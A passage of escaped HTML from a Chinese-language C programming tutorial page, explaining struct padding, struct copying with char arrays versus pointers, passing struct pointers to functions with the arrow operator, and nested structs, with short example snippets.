class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a; \u003cspan class=\"type\"\u003eint\u003c/span\u003e b; } s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果按照属性占据的空间相加,变量\u003ccode\u003es\u003c/code\u003e的存储空间应该是5个字节。但是,struct 结构的存储空间是\u003ccode\u003eint\u003c/code\u003e类型的倍数,所以最后的结果是占据8个字节,\u003ccode\u003ea\u003c/code\u003e属性与\u003ccode\u003eb\u003c/code\u003e属性之间有3个字节的“空洞”。\u003c/p\u003e\u003ch3 id=\"struct-的复制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E7%9A%84%E5%A4%8D%E5%88%B6\" class=\"headerlink\" title=\"struct 的复制\"\u003e\u003c/a\u003estruct 的复制\u003c/h3\u003e\u003cp\u003estruct 变量可以使用赋值运算符(\u003ccode\u003e=\u003c/code\u003e),复制给另一个变量,这时会生成一个全新的副本。系统会分配一块新的内存空间,大小与原来的变量相同,把每个属性都复制过去,即原样生成了一份数据。这一点跟数组的复制不一样,务必小心。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecat\u003c/span\u003e {\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e name[\u003cspan class=\"number\"\u003e30\u003c/span\u003e]; \u003cspan class=\"type\"\u003eshort\u003c/span\u003e age; } a, b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(a.name, \u003cspan class=\"string\"\u003e\u0026#34;Hula\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.age = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb.name[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;M\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, a.name); \u003cspan class=\"comment\"\u003e// Hula\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, b.name); \u003cspan class=\"comment\"\u003e// Mula\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003eb\u003c/code\u003e是变量\u003ccode\u003ea\u003c/code\u003e的副本,两个变量的值是各自独立的,修改掉\u003ccode\u003eb.name\u003c/code\u003e不影响\u003ccode\u003ea.name\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e上面这个示例是有前提的,就是 struct 结构的属性必须定义成字符数组,才能复制数据。如果稍作修改,属性定义成字符指针,结果就不一样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecat\u003c/span\u003e {\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name; \u003cspan class=\"type\"\u003eshort\u003c/span\u003e age; } a, b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.name = \u003cspan class=\"string\"\u003e\u0026#34;Hula\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.age = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ename\u003c/code\u003e属性变成了一个字符指针,这时\u003ccode\u003ea\u003c/code\u003e赋值给\u003ccode\u003eb\u003c/code\u003e,导致\u003ccode\u003eb.name\u003c/code\u003e也是同样的字符指针,指向同一个地址,也就是说两个属性共享同一个地址。因为这时,struct 结构内部保存的是一个指针,而不是上一个例子的数组,这时复制的就不是字符串本身,而是它的指针。并且,这个时候也没法修改字符串,因为字符指针指向的字符串是不能修改的。\u003c/p\u003e\u003cp\u003e总结一下,赋值运算符(\u003ccode\u003e=\u003c/code\u003e)可以将 struct 结构每个属性的值,一模一样复制一份,拷贝给另一个 struct 变量。这一点跟数组完全不同,使用赋值运算符复制数组,不会复制数据,只会共享地址。\u003c/p\u003e\u003cp\u003e注意,这种赋值要求两个变量是同一个类型,不同类型的 struct 变量无法互相赋值。\u003c/p\u003e\u003cp\u003e另外,C 语言没有提供比较两个自定义数据结构是否相等的方法,无法用比较运算符(比如\u003ccode\u003e==\u003c/code\u003e和\u003ccode\u003e!=\u003c/code\u003e)比较两个数据结构是否相等或不等。\u003c/p\u003e\u003ch3 id=\"struct-指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"struct 指针\"\u003e\u003c/a\u003estruct 指针\u003c/h3\u003e\u003cp\u003e如果将 struct 变量传入函数,函数内部得到的是一个原始值的副本。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eturtle\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* species;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e age;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t.age = t.age + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eturtle\u003c/span\u003e \u003cspan class=\"title\"\u003emyTurtle\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;MyTurtle\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;sea turtle\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e99\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e happy(myTurtle);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Age is %i\\n\u0026#34;\u003c/span\u003e, myTurtle.age); \u003cspan class=\"comment\"\u003e// 输出 99\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003ehappy()\u003c/code\u003e传入的是一个 struct 变量\u003ccode\u003emyTurtle\u003c/code\u003e,函数内部有一个自增操作。但是,执行完\u003ccode\u003ehappy()\u003c/code\u003e以后,函数外部的\u003ccode\u003eage\u003c/code\u003e属性值根本没变。原因就是函数内部得到的是 struct 变量的副本,改变副本影响不到函数外部的原始数据。\u003c/p\u003e\u003cp\u003e通常情况下,开发者希望传入函数的是同一份数据,函数内部修改数据以后,会反映在函数外部。而且,传入的是同一份数据,也有利于提高程序性能。这时就需要将 struct 变量的指针传入函数,通过指针来修改 struct 属性,就可以影响到函数外部。\u003c/p\u003e\u003cp\u003estruct 指针传入函数的写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle* t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehappy(\u0026amp;myTurtle);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003et\u003c/code\u003e是 struct 结构的指针,调用函数时传入的是指针。struct 类型跟数组不一样,类型标识符本身并不是指针,所以传入时,指针必须写成\u003ccode\u003e\u0026amp;myTurtle\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e函数内部也必须使用\u003ccode\u003e(*t).age\u003c/code\u003e的写法,从指针拿到 struct 结构本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle* t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (*t).age = (*t).age + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e(*t).age\u003c/code\u003e不能写成\u003ccode\u003e*t.age\u003c/code\u003e,因为点运算符\u003ccode\u003e.\u003c/code\u003e的优先级高于\u003ccode\u003e*\u003c/code\u003e。\u003ccode\u003e*t.age\u003c/code\u003e这种写法会将\u003ccode\u003et.age\u003c/code\u003e看成一个指针,然后取它对应的值,会出现无法预料的结果。\u003c/p\u003e\u003cp\u003e现在,重新编译执行上面的整个示例,\u003ccode\u003ehappy()\u003c/code\u003e内部对 struct 结构的操作,就会反映到函数外部。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e(*t).age\u003c/code\u003e这样的写法很麻烦。C 语言就引入了一个新的箭头运算符(\u003ccode\u003e-\u0026gt;\u003c/code\u003e),可以从 struct 指针上直接获取属性,大大增强了代码的可读性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle* t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t-\u0026gt;age = t-\u0026gt;age + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总结一下,对于 struct 变量名,使用点运算符(\u003ccode\u003e.\u003c/code\u003e)获取属性;对于 struct 变量指针,使用箭头运算符(\u003ccode\u003e-\u0026gt;\u003c/code\u003e)获取属性。以变量\u003ccode\u003emyStruct\u003c/code\u003e为例,假设\u003ccode\u003eptr\u003c/code\u003e是它的指针,那么下面三种写法是同一回事。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ptr == \u0026amp;myStruct\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emyStruct.prop == (*ptr).prop == ptr-\u0026gt;prop\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"struct-的嵌套\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E7%9A%84%E5%B5%8C%E5%A5%97\" class=\"headerlink\" title=\"struct 的嵌套\"\u003e\u003c/a\u003estruct 的嵌套\u003c/h3\u003e\u003cp\u003estruct 结构的成员可以是另一个 struct 结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003especies\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e kinds;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e age;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003especies\u003c/span\u003e \u003cspan class=\"title\"\u003ebreed\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efish\u003c/code\u003e的属性\u003ccode\u003ebreed\u003c/code\u003e是另一个 struct 结构\u003ccode\u003especies\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e赋值的时候有多种写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, {\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e500\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003especies\u003c/span\u003e \u003cspan class=\"title\"\u003emyBreed\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e500\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, myBreed};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .name=\u003cspan 